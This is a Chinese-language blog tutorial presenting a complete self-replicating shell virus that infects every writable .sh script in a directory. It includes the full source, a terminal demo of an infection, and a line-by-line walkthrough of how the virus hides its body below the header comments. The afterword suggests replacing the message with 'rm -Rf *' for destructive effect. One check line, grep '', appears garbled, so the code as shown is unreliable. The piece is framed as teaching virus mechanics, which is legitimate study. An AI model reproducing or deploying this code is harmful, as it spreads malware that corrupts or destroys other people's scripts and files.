Linux作業系統下Shell病毒詳細介紹
SHELL病毒簡介
1. 前言
說起病毒總有點神秘的味道,想起以前用匯編編寫第一個dos病毒時是那麼的痛苦 從開始有設想到完成花了3個多月,而且寫的也是亂七八糟,最近突發奇想不就是感 染其他檔案,傳播自己嗎,用shell寫一個病毒且不是非常簡單,於是順手寫了如下 這麼一個小指令碼,功能就是感染其他shell程式。
這個程式在現實意義不大,但對於形象的理解病毒傳播機制還是很很有幫助,可以 算教學意義大於實際意義吧。
2. 程式程式碼
#!/bin/sh
#檔名: virus_demo.sh
#用途 : shell病毒演示。
#說明 : 病毒將感染當前目錄下的所有.sh結尾的檔案,但不會重複感染。
#編寫 : watercloud@xfocus.org
#日期 : 2003-5-13
#B:
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
if grep '' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
vNo=`awk '$0~/(^*#)|(^*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
sed -n "1,${vNo}p" $vTmp >$f
(sed -n '/^#B:/,/^#E:/p' $vFile ;echo ) >>$f
vNo=`expr $vNo + 1`
sed -n "${vNo},$p" $vTmp >>$f
rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo
echo "Hi, here is a demo shell virus in your script !"
#E:
#EOF
看shell是多麼得強大,這麼短短得程式就能感染其他程式檔案。
3. 演示
測試一下:
先在當前目錄放兩個檔案,一個病毒檔案,一個用來作被感染測試用。
[cloud@ /export/home/cloud/vir]> ls -l
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh
來看看我們這個"肉雞"指令碼,很簡單:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1
ls -l
#EOF
好了開始感染他。
[cloud@ /export/home/cloud/vir]> ./virus_demo.sh
Hi, here is a demo shell virus in your script !
來看看感染後的結果:
[cloud@ /export/home/cloud/vir]> cat test.sh
#!/bin/sh
# Just a demo for virus test
# Author : foo
# Date : 3000-1-1
#B:
vFile=$_ ; vTmp=/tmp/.vTmp.$$
for f in ./*.sh; do
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
if grep '' $f ; then continue; fi
if sed -n '1p' $f | grep 'csh'; then continue; fi
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
vNo=`awk '$0~/(^*#)|(^*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
sed -n "1,${vNo}p" $vTmp >$f
(sed -n '/^#B:/,/^#E:/p' $vFile ;echo ) >>$f
vNo=`expr $vNo + 1`
sed -n "${vNo},$p" $vTmp >>$f
rm -f $vTmp
done >/dev/null 2>&1
unset vTmp ;unset vFile ;unset vNo
echo "Hi, here is a demo shell virus in your script !"
#E:
ls -l
#EOF
看,病毒體:
#B:
. . . .
#E:
被複製過來了,這樣病毒就被傳播了。值得注意的是病毒體插入的位置是在源test.sh的有效程式行的開始處! 這主要考慮到一般shell程式大家都喜歡在程式開始處作註釋說明, 你好歹不能把別人的註釋資訊給放到後面去,那也太明顯了吧。
來執行看看我們新的病毒體看看:
[cloud@ /export/home/cloud/vir]> ./test.sh
Hi, here is a demo shell virus in your script !
-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh
-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh
4. 簡單講解
我們來一步步分析一下這個病毒: #B: 病毒體開始標記,用於程式複製自己定位用。 vFile=$_ ; vTmp=/tmp/.vTmp.$$ 定義兩個變數,一個臨時檔案,一個記錄當前程式名稱$_,這也就要求我們 必須把這行作為程式有效行的第一行,如果放後頭我們就無法得到當前程式 名稱,後面就找不到從哪裡去找病毒體來複製了。
for f in ./*.sh; do
開始迴圈,找到當前目錄下的所有.sh結尾的程式。
if [ ! -w $f -a ! -r $vFile ]; then continue; fi
目標是否有寫許可權,病毒原始檔是否有讀許可權。
if grep '' $f ; then continue; fi
目標是否已經中毒很深無藥可救了,如果是這樣還給他再來一次也太不仁義了吧?
if sed -n '1p' $f | grep 'csh'; then continue; fi
如果目標shell是以csh的那語法上差異太大了,放棄吧。
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
好了準備感染,先把目標複製一個備份,複製失敗了怎麼辦?當然只好放棄了。
vNo=`awk '$0~/(^*#)|(^*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
這是幹嘛?好像挺複雜,不過學shell病毒不瞭解awk和正規表示式好像有點說不 過去吧,這個就是找到程式開始的註釋和空白行有多少,好方便我們確定病毒體 插入點。
sed -n "1,${vNo}p" $vTmp >$f
一個sed命令把目標檔案的開始註釋部分從備份檔案中copy回來。
(sed -n '/^#B:/,/^#E:/p' $vFile ;echo ) >>$f
再來一個sed完成搬運病毒體的工作。
vNo=`expr $vNo + 1`
sed -n "${vNo},$p" $vTmp >>$f
最後一個sed把目標檔案的其他部分搬回來,sed真強大呀!!
rm -f $vTmp
清理一下臨時檔案。
done >/dev/null 2>&1
迴圈結束。
unset vTmp ;unset vFile ;unset vNo
清理一下犯罪現場。
echo "Hi, here is a demo shell virus in your script !"
都感染了好歹也要顯示點東西以告訴別人這是個被病毒感染過的程式吧。
#E:
病毒體結束標記,用於程式複製自己定位用。
5. 後記
從中我們可以看到指令碼病毒非常簡單,不需要很多知識就能寫一個,而且病毒 破壞力也是不可小視比如我們的程式裡把echo資訊改為rm -Rf * ;同時反方面 也展示了shell的強大之處,試想傳統的程式光是處理PE檔案結構和ELF結構就得 花多少功夫。
上面得程式已經在Linux和Solaris上測試透過,windows上得使用者在Cygwin上 應該也行。
順便再強調一次,寫這篇文章得目的是和大家分享一下對病毒得理解,而不是 教寫病毒出去害人,切記切記!
[@more@]來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/8570952/viewspace-934767/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- Linux作業系統上編譯程式的方法詳細介紹Linux作業系統編譯
- linux作業系統介紹Linux作業系統
- Linux作業系統介紹(轉)Linux作業系統
- Linux下udev詳細介紹Linuxdev
- Linux作業系統總體介紹!Linux作業系統
- Linux系統的病毒歷史介紹Linux
- 【新冠病毒全球疫情衛星監測系統 】專案詳細介紹
- WindowsPE重灌Windows系統詳細介紹Windows
- Linux作業系統下的離線瀏覽器介紹(轉)Linux作業系統瀏覽器
- Linux作業系統執行級別介紹Linux作業系統
- Linux作業系統相關內容介紹!Linux作業系統
- Linux下ulimit命令的詳細使用介紹LinuxMIT
- 《新型冠狀病毒剖析》專案詳細介紹
- AIX作業系統的shell簡介(轉)AI作業系統
- Linux作業系統原始碼詳細分析(二)(轉)Linux作業系統原始碼
- Linux作業系統原始碼詳細分析(三)(轉)Linux作業系統原始碼
- Linux 系統邏輯盤卷管理LVM 詳細介紹LinuxLVM
- Linux下安裝與使用MySQL詳細介紹LinuxMySql
- Linux Shell Awk 流程控制語句(if,for,while,do)詳細介紹LinuxWhile
- 詳細介紹Linux指令odLinux
- 【動手開發作業系統】- 介紹作業系統
- Linux是什麼作業系統?發展歷史介紹Linux作業系統
- 簡單介紹Linux作業系統的九大特點!Linux作業系統
- 關於Linux作業系統日誌的介紹(轉載)Linux作業系統
- Linux作業系統不同物件全面升級方法介紹(zt)Linux作業系統物件
- 最佳化ySQL系統變數詳細介紹SQL變數
- Linux作業系統之Shell程式設計Linux作業系統程式設計
- 軟盤版Linux防火牆的製作方法詳細介紹Linux防火牆
- 詳細剖析Linux和Unix兩系統病毒威脅(轉)Linux
- Linux檔案系統損壞後的修復技巧詳細介紹Linux
- linux-10-xshell介紹-作業系統的啟動流程-系統命令Linux作業系統
- Linux雲端計算-01_介紹以及Linux作業系統安裝Linux作業系統
- Linux作業系統使用者口令安全恢復方法介紹Linux作業系統
- MySQL體系結構詳細介紹MySql
- javascript this詳細介紹JavaScript
- JDBC 詳細介紹JDBC
- Kafka詳細介紹Kafka
- Git詳細介紹Git